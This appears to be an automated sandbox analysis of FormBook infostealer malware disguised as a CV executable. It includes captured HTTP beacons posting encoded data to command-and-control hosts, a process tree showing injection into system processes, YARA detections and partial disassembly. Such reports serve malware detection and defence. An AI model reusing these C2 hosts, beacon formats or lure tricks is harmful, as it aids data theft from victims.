                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6f 6e 20 68 6f 6c 64 20 70 65 6e 64 69 6e 67 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html><head><title>Verification of Contact Information</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Verification of Contact Information</h1><p>The domain is temporarily on hold pending verification of the email address of the Registrant as per the ICANN rules on Verification of Contact Information.</p><p>More details of these rules can be found at:<br/><a href="http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification">http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification</a>.</p><p>If you are the owner of this domain please contact your provider and request re-verification or follow the instructions emailed to you shortly after your order.</p></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        37192.168.2.85001138.47.233.21805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:21.072932005 CET710OUTPOST /dp98/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.qqa79.top
                                                                        Origin: http://www.qqa79.top
                                                                        Referer: http://www.qqa79.top/dp98/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 79 42 4c 66 47 43 73 51 42 6c 61 47 67 50 72 4a 76 36 7a 4a 48 31 6b 64 69 70 4e 65 31 6b 51 57 4f 74 45 47 59 41 37 39 5a 47 77 61 6d 55 67 6c 4f 64 6e 31 6f 58 54 2f 79 59 48 46 4f 72 51 6d 43 4d 70 48 59 2f 64 64 32 61 63 4c 4d 43 44 48 4b 43 6d 42 57 58 71 5a 47 36 42 76 38 6e 45 45 43 53 46 6e 72 63 72 59 30 66 75 53 32 39 77 62 4f 66 53 4a 39 32 78 41 37 59 75 6a 55 74 71 48 44 58 47 30 42 55 53 32 59 69 32 36 74 4a 6d 72 68 56 68 2b 6b 75 4d 76 65 73 4d 4f 58 56 4a 47 39 46 34 68 73 57 6f 45 34 33 4f 79 4a 67 4a 66 4a 2f 35 45 51 78 63 72 74 52 46 44 30 78 68 6e 7a 59 76 2f 6e 77 3d
                                                                        Data Ascii: nlF0=oyBLfGCsQBlaGgPrJv6zJH1kdipNe1kQWOtEGYA79ZGwamUglOdn1oXT/yYHFOrQmCMpHY/dd2acLMCDHKCmBWXqZG6Bv8nEECSFnrcrY0fuS29wbOfSJ92xA7YujUtqHDXG0BUS2Yi26tJmrhVh+kuMvesMOXVJG9F4hsWoE43OyJgJfJ/5EQxcrtRFD0xhnzYv/nw=
                                                                        Nov 27, 2024 20:50:22.641608000 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:50:22 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        38192.168.2.85001738.47.233.21805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:23.742223978 CET730OUTPOST /dp98/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.qqa79.top
                                                                        Origin: http://www.qqa79.top
                                                                        Referer: http://www.qqa79.top/dp98/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 79 42 4c 66 47 43 73 51 42 6c 61 47 42 2f 72 46 73 53 7a 65 33 31 6e 44 79 70 4e 4c 46 6c 62 57 4f 68 45 47 5a 55 72 39 72 53 77 61 44 77 67 6b 4d 6c 6e 35 49 58 54 77 53 5a 44 42 4f 72 68 6d 43 77 4c 48 62 6e 64 64 32 65 63 4c 4d 79 44 48 39 65 6c 43 6d 58 6f 56 6d 36 48 68 63 6e 45 45 43 53 46 6e 72 59 4e 59 30 48 75 54 48 74 77 5a 72 2f 52 58 74 32 77 57 4c 59 75 6e 55 74 75 48 44 57 38 30 41 49 34 32 62 61 32 36 76 52 6d 72 77 56 2b 30 6b 75 4b 79 4f 74 34 64 47 6b 58 4b 75 46 58 67 64 69 77 46 2b 6d 33 33 2f 52 6a 46 72 33 2f 48 51 5a 33 72 75 35 7a 47 44 73 4a 39 51 49 66 68 77 6e 32 48 78 44 36 57 41 49 45 62 30 58 4a 6a 58 4c 4d 4c 51 56 70
                                                                        Data Ascii: nlF0=oyBLfGCsQBlaGB/rFsSze31nDypNLFlbWOhEGZUr9rSwaDwgkMln5IXTwSZDBOrhmCwLHbndd2ecLMyDH9elCmXoVm6HhcnEECSFnrYNY0HuTHtwZr/RXt2wWLYunUtuHDW80AI42ba26vRmrwV+0kuKyOt4dGkXKuFXgdiwF+m33/RjFr3/HQZ3ru5zGDsJ9QIfhwn2HxD6WAIEb0XJjXLMLQVp


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        39192.168.2.85001838.47.233.21805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:26.408581972 CET1747OUTPOST /dp98/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.qqa79.top
                                                                        Origin: http://www.qqa79.top
                                                                        Referer: http://www.qqa79.top/dp98/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 79 42 4c 66 47 43 73 51 42 6c 61 47 42 2f 72 46 73 53 7a 65 33 31 6e 44 79 70 4e 4c 46 6c 62 57 4f 68 45 47 5a 55 72 39 72 71 77 5a 31 73 67 6b 74 6c 6e 33 6f 58 54 35 79 5a 41 42 4f 72 47 6d 43 6f 50 48 63 75 67 64 7a 43 63 4e 64 53 44 57 59 71 6c 56 57 58 6f 64 47 36 47 76 38 6d 47 45 43 43 42 6e 6f 77 4e 59 30 48 75 54 45 46 77 64 2b 66 52 56 74 32 78 41 37 59 63 6a 55 73 4c 48 44 66 65 30 44 6c 4e 32 4b 36 32 30 76 42 6d 70 43 39 2b 70 55 75 49 7a 4f 74 67 64 47 6f 32 4b 75 5a 68 67 64 57 4b 46 35 53 33 33 37 46 35 65 50 76 6b 53 79 52 6d 76 76 49 53 50 52 4e 6b 30 47 42 70 73 54 2f 6b 4c 6b 58 49 54 78 77 74 66 45 69 66 31 41 44 74 4b 77 67 42 30 70 62 52 65 61 61 55 42 4f 7a 54 7a 4b 57 61 48 61 53 52 39 6c 4f 74 48 4b 39 2b 4b 35 38 48 50 39 64 2f 4e 61 67 61 38 37 41 53 58 59 45 63 35 76 5a 55 55 64 33 75 78 33 72 68 74 51 38 36 4d 32 52 4f 78 4c 67 52 53 64 79 58 51 59 5a 39 77 35 34 50 58 36 6f 74 69 65 79 36 4c 2f 4b 54 62 41 6d 6a 52 67 4a 4e 71 71 42 45 64 34 56 31 77 [TRUNCATED]
                                                                        Data Ascii: nlF0=oyBLfGCsQBlaGB/rFsSze31nDypNLFlbWOhEGZUr9rqwZ1sgktln3oXT5yZABOrGmCoPHcugdzCcNdSDWYqlVWXodG6Gv8mGECCBnowNY0HuTEFwd+fRVt2xA7YcjUsLHDfe0DlN2K620vBmpC9+pUuIzOtgdGo2KuZhgdWKF5S337F5ePvkSyRmvvISPRNk0GBpsT/kLkXITxwtfEif1ADtKwgB0pbReaaUBOzTzKWaHaSR9lOtHK9+K58HP9d/Naga87ASXYEc5vZUUd3ux3rhtQ86M2ROxLgRSdyXQYZ9w54PX6otiey6L/KTbAmjRgJNqqBEd4V1wMJD7xrTU4SsFTox+8gWogpeJG0UsW4Aaa912EfXwAuwsQBDgaaZ/IZkDc/PWSc/pVNSMPv1UlInWcJJ35UQVfTb8ejvt2QgWy3hGWkoYvQGVbJkTG5PGq6xj4v4c6SLMeKpKzNInvR18qRmdylDFr/q6YKrN8oqHl4YOJFXkW7Wa4S8kMxIMBD9yCe1Z+tYoz7IMVynfatHv3LyIdxSqQnE312mUe12fxWtwRTXzHMN0Rh0r9vwP4UPk/tKBf27LMSlGWQj+Pdy68pCV/3XzSfxoEIRGMPinViElxXCZu/B+WTMsGYq9PWnjajBzxAor9uuDLPOZn7Nvjt5ReAAjnjO3TvBlevIHr7XjHD3KYDONvr0y0J8HUieQ0YvEgKWJQNsp6GgEjT0JZS7pdu9ZHbWAWBPZU+FrrPU06kCjm61t1aaT1R6z6s2dADpRv7Gsedd3Hd0X9sm9SZSKwWw1fJzFsei2Fu1EB72GRQ4cxcPq2WTBW9r1BAUFUSBrTTTvxB4VijdMnGrXZASNHG6p9PV13fXTlnX73y4xYoUS9WLMN7PeygrMMO0c9AWOkk0HW5ayLnWf+ip7Gq3Sg4mtpPdj5dBgASrnYYZA0QFgDQfa96rbrtTdjFWKOFK2Hpjgis57chqyiPx9GRS3gKSIFtLvbdVI5AOG19 [TRUNCATED]
                                                                        Nov 27, 2024 20:50:28.042503119 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:50:27 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        40192.168.2.85001938.47.233.21805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:29.082236052 CET464OUTGET /dp98/?nlF0=lwprcyOja05feUKWKPmCZ1FFJHNVazo8VdIAG4o6xNOQV3h7ueUE8JDK3GM5Ot7MjRI5G4LHbCuOcNDiB82RYgvoV0W00Yn1MwytmoUPdlTqb21wX5jFGaXLAL4brWsFFw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.qqa79.top
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:50:30.615155935 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:50:30 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                                        41192.168.2.85002013.248.169.4880
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:37.419449091 CET719OUTPOST /lp5b/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.egyshare.xyz
                                                                        Origin: http://www.egyshare.xyz
                                                                        Referer: http://www.egyshare.xyz/lp5b/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 7a 31 4a 35 39 57 66 4e 75 7a 33 39 50 46 4b 75 6c 68 2f 6c 55 7a 7a 30 63 4c 61 62 77 6e 35 52 56 4e 64 36 36 6e 32 61 65 43 76 4d 6a 45 66 64 2f 6d 2f 2b 72 66 78 35 61 43 57 36 45 36 41 46 55 4c 63 36 6a 37 4d 68 6f 68 47 6c 71 47 7a 4e 62 59 2f 37 34 78 70 6b 33 75 62 7a 74 45 72 45 77 6d 42 4d 47 50 65 34 73 78 4f 65 68 47 36 56 2f 43 6a 6b 78 69 6f 51 78 72 73 6a 47 50 51 77 50 72 67 45 31 47 63 6b 63 35 6b 36 61 30 47 64 69 68 7a 43 4d 59 6b 7a 35 2b 68 51 53 67 54 76 4b 4f 58 52 4f 2b 62 45 2f 38 31 39 63 63 73 4d 4b 66 56 6b 52 2f 36 71 67 71 45 46 49 33 7a 62 5a 53 36 72 6e 68 55 3d
                                                                        Data Ascii: nlF0=z1J59WfNuz39PFKulh/lUzz0cLabwn5RVNd66n2aeCvMjEfd/m/+rfx5aCW6E6AFULc6j7MhohGlqGzNbY/74xpk3ubztErEwmBMGPe4sxOehG6V/CjkxioQxrsjGPQwPrgE1Gckc5k6a0GdihzCMYkz5+hQSgTvKOXRO+bE/819ccsMKfVkR/6qgqEFI3zbZS6rnhU=


                                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                                        42192.168.2.85002113.248.169.4880
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:40.088668108 CET739OUTPOST /lp5b/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.egyshare.xyz
                                                                        Origin: http://www.egyshare.xyz
                                                                        Referer: http://www.egyshare.xyz/lp5b/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 7a 31 4a 35 39 57 66 4e 75 7a 33 39 50 6d 53 75 6a 43 6e 6c 45 6a 7a 33 46 37 61 62 71 58 35 56 56 4e 42 36 36 6d 79 7a 65 30 48 4d 69 6c 76 64 2b 6e 2f 2b 75 66 78 35 51 69 57 2f 61 4b 41 4f 55 4c 67 59 6a 2b 30 68 6f 68 53 6c 71 48 44 4e 61 76 6a 34 35 68 70 6d 2f 4f 62 31 31 6b 72 45 77 6d 42 4d 47 50 61 65 73 31 69 65 68 54 71 56 2b 6d 33 6c 74 53 6f 54 6c 37 73 6a 4d 76 51 30 50 72 68 68 31 44 38 4f 63 37 63 36 61 32 4f 64 69 77 7a 46 43 59 6b 35 6e 4f 67 4f 66 55 66 2f 51 39 6e 52 4f 34 7a 6e 6a 63 6c 55 64 71 64 6d 51 39 64 69 53 2f 53 42 67 70 73 7a 4e 41 75 7a 44 78 71 62 35 32 42 68 2b 71 2f 42 38 52 6b 57 42 33 41 64 69 74 69 79 6d 6a 55 44
                                                                        Data Ascii: nlF0=z1J59WfNuz39PmSujCnlEjz3F7abqX5VVNB66myze0HMilvd+n/+ufx5QiW/aKAOULgYj+0hohSlqHDNavj45hpm/Ob11krEwmBMGPaes1iehTqV+m3ltSoTl7sjMvQ0Prhh1D8Oc7c6a2OdiwzFCYk5nOgOfUf/Q9nRO4znjclUdqdmQ9diS/SBgpszNAuzDxqb52Bh+q/B8RkWB3AditiymjUD


                                                                        Statistics

                                                                        CPU Usage

                                                                        Click to jump to process

                                                                        Memory Usage

                                                                        Click to jump to process

                                                                        High Level Behavior Distribution

                                                                        Click to dive into process behavior distribution

                                                                        Behavior

                                                                        Click to jump to process

                                                                        System Behavior

                                                                        General

                                                                        Target ID:0
                                                                        Start time:14:46:25
                                                                        Start date:27/11/2024
                                                                        Path:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                                                                        Imagebase:0x590000
                                                                        File size:1'218'048 bytes
                                                                        MD5 hash:CB2183C47080CD31AEE0ECF9E8C9A364
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:low
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:2
                                                                        Start time:14:46:27
                                                                        Start date:27/11/2024
                                                                        Path:C:\Windows\SysWOW64\svchost.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                                                                        Imagebase:0x600000
                                                                        File size:46'504 bytes
                                                                        MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1876664813.0000000004150000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:4
                                                                        Start time:14:46:55
                                                                        Start date:27/11/2024
                                                                        Path:C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe"
                                                                        Imagebase:0xce0000
                                                                        File size:140'800 bytes
                                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3964989760.0000000002AB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:high
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:5
                                                                        Start time:14:46:58
                                                                        Start date:27/11/2024
                                                                        Path:C:\Windows\SysWOW64\wlanext.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Windows\SysWOW64\wlanext.exe"
                                                                        Imagebase:0x740000
                                                                        File size:78'336 bytes
                                                                        MD5 hash:0D5F0A7CA2A8A47E3A26FB1CB67E118C
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3964994926.0000000003620000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:moderate
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:8
                                                                        Start time:14:47:10
                                                                        Start date:27/11/2024
                                                                        Path:C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe"
                                                                        Imagebase:0xce0000
                                                                        File size:140'800 bytes
                                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:high
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:10
                                                                        Start time:14:47:22
                                                                        Start date:27/11/2024
                                                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                        Imagebase:0x7ff6d20e0000
                                                                        File size:676'768 bytes
                                                                        MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        Disassembly

                                                                        Reset < >

                                                                          Execution Graph

                                                                          Execution Coverage:3.8%
                                                                          Dynamic/Decrypted Code Coverage:0.4%
                                                                          Signature Coverage:9.6%
                                                                          Total number of Nodes:2000
                                                                          Total number of Limit Nodes:31
                                                                          execution_graph 92886 5b5dfd 92887 5b5e09 _fprintf 92886->92887 92923 5b7eeb GetStartupInfoW 92887->92923 92889 5b5e0e 92925 5b9ca7 GetProcessHeap 92889->92925 92891 5b5e66 92892 5b5e71 92891->92892 93010 5b5f4d 47 API calls 3 library calls 92891->93010 92926 5b7b47 92892->92926 92895 5b5e77 92896 5b5e82 __RTC_Initialize 92895->92896 93011 5b5f4d 47 API calls 3 library calls 92895->93011 92947 5bacb3 92896->92947 92899 5b5e91 92900 5b5e9d GetCommandLineW 92899->92900 93012 5b5f4d 47 API calls 3 library calls 92899->93012 92966 5c2e7d GetEnvironmentStringsW 92900->92966 92903 5b5e9c 92903->92900 92907 5b5ec2 92979 5c2cb4 92907->92979 92910 5b5ec8 92911 5b5ed3 92910->92911 93014 5b115b 47 API calls 3 library calls 92910->93014 92993 5b1195 92911->92993 92914 5b5edb 92915 5b5ee6 __wwincmdln 92914->92915 93015 5b115b 47 API calls 3 library calls 92914->93015 92997 593a0f 92915->92997 92918 5b5efa 92919 5b5f09 92918->92919 93016 5b13f1 47 API calls _doexit 92918->93016 93017 5b1186 47 API calls _doexit 92919->93017 92922 5b5f0e _fprintf 92924 5b7f01 92923->92924 92924->92889 92925->92891 93018 5b123a 92926->93018 92928 5b7b4c 93021 5b7e23 92928->93021 92931 5b7b55 93034 5b7bbd 50 API calls 2 library calls 92931->93034 92934 5b7b5a 92934->92895 92936 5b7b72 93028 5b6986 92936->93028 92939 5b7bb4 93037 5b7bbd 50 API calls 2 library calls 92939->93037 92942 5b7bb9 92942->92895 92943 5b7b93 92943->92939 92944 5b7b99 92943->92944 93036 5b7a94 47 API calls 4 library calls 92944->93036 92946 5b7ba1 GetCurrentThreadId 92946->92895 92948 5bacbf _fprintf 92947->92948 93046 5b7cf4 92948->93046 92950 5bacc6 92951 5b6986 __calloc_crt 47 API calls 92950->92951 92952 5bacd7 92951->92952 92953 5bad42 GetStartupInfoW 92952->92953 92956 5bace2 @_EH4_CallFilterFunc@8 _fprintf 92952->92956 92961 5bae80 92953->92961 92963 5bad57 92953->92963 92954 5baf44 93053 5baf58 LeaveCriticalSection _doexit 92954->93053 92956->92899 92957 5baec9 GetStdHandle 92957->92961 92958 5b6986 __calloc_crt 47 API calls 92958->92963 92959 5baedb GetFileType 92959->92961 92960 5bada5 92960->92961 92964 5badd7 GetFileType 92960->92964 92965 5bade5 InitializeCriticalSectionAndSpinCount 92960->92965 92961->92954 92961->92957 92961->92959 92962 5baf08 InitializeCriticalSectionAndSpinCount 92961->92962 92962->92961 92963->92958 92963->92960 92963->92961 92964->92960 92964->92965 92965->92960 92967 5b5ead 92966->92967 92969 5c2e8e 92966->92969 92973 5c2a7b 